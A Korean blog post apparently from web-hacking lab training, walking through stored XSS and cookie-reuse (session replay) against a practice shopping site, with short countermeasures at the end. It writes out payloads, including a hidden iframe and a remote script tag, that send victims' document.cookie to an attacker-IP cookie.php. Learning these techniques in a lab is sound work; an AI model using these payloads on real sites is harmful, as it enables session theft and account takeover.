찬란하게

[웹해킹] XSS 취약점_Stored XSS_쿠키 재사용 본문

정보보안/웹 해킹

[웹해킹] XSS 취약점_Stored XSS_쿠키 재사용

체리핫 2021. 5. 9. 00:14

1. Stored XSS 공격 활용

 

==> 쿠키 정보 획득 가능 :

 

alert(document.cookie) --> | victiom(희생자) : 일반 user & 관리자  | --> | 공격자 서버 |

 

 

2. 쿠키 재사용 공격 절차

1) 공격자 서버 구성

(실무에서는 외부에 구성하거나, 노트북 Host로 구성한다.)

 

비박스 > 

 

 

2) 공격 스크립트 수정

XSS의 기본 형태는 아래와 같다.


<script>alert(document.cookie);</script>

 

XSS의 응용 형태는 아래와 같다.

보이지 않는 형태를 가지며, url을 불러오는 기능을 갖는 iframe을 활용할 수 있다.

a.js

<iframe src='http://<공격자 ip = 비박스 ip>/cookie.php?cookie="+document.cookie+"' width=0 height=0></iframe>

 

하지만, iframe형태는 문제점을 갖는다. 

스크립트가 너무나 많기 때문에(iframe, cookie), 차단 가능성이 매우 높다.

 

==>  따라서 a.js를 script에 다시 실어서 전달한다.

<script src="http://<공격자 ip = 비박스 ip>/a.js"></script>

 

a.js 스크립트를 실행하는 스크립트로 만들 수 있다.

a.js 안에 수많은 기능들을 넣을 수 있다.

 

-> 악성코드가 스크립트 형태로 뿌려지는 이유 : 스크립트 안에 취약점 코드들을 넣을 수 있기 때문이다.

 

 

vim a.js

vim 나가기 -> :wq

3) cookie.php, html 파일 확인

html 파일에 내용이 쌓이기 때문에 접근권한을 변경해준다.

 

4) 쇼핑몰 공격

공격자 : 크롬

희생자 : IEX

 

2021.05.08 - [정보 보안/웹 해킹] - [웹해킹] 쇼핑몰 실습2_ 인증 처리 취약점 확인_인증 관점

 

[웹해킹] 쇼핑몰 실습2_ 인증 처리 취약점 확인_인증 관점

1. 인증 처리 취약점 확인 두 가지 관점이 존재한다. 첫 번째는 인증 페이지 관점이 있다. 인증된, 허가된 페이지를 통해서 취약점을 점검한다. 두 번째는 비인증 페이지 관점이 있다. 허가되지

s2cherryy.tistory.com

2개의 계정 준비
A 사용자 B 사용자
Chrome IEX
관리자 권한 시도 일반 사용자
test0 / 1111 victim / 1111
공격자 희생자

* 실무에서는 이러한 형태로 실사용자의 피해 없이 진행하는 경우가 있다.

크롬 - 공격자 게시글 작성

 

오류가 생겨서 경로를 변경해주었다.

 

 

 

 

쿠키 재사용 공격 -> Replay Attack

 

3. 쿠키 정보로 희생자 계정 접속

 

4. 쿠키 재사용 공격 대응방안

쿠키 생성할 때 : IP 주소 + 쿠키 ==> 암호화

 

==> 금융권, 공공기관 : MAC 주소 & 하드웨어 일부 정보와 함께 암호화 -> ActiveX exe, dll 파일 설치됨 

--> Non-ActiveX -> 통합프로그램(exe)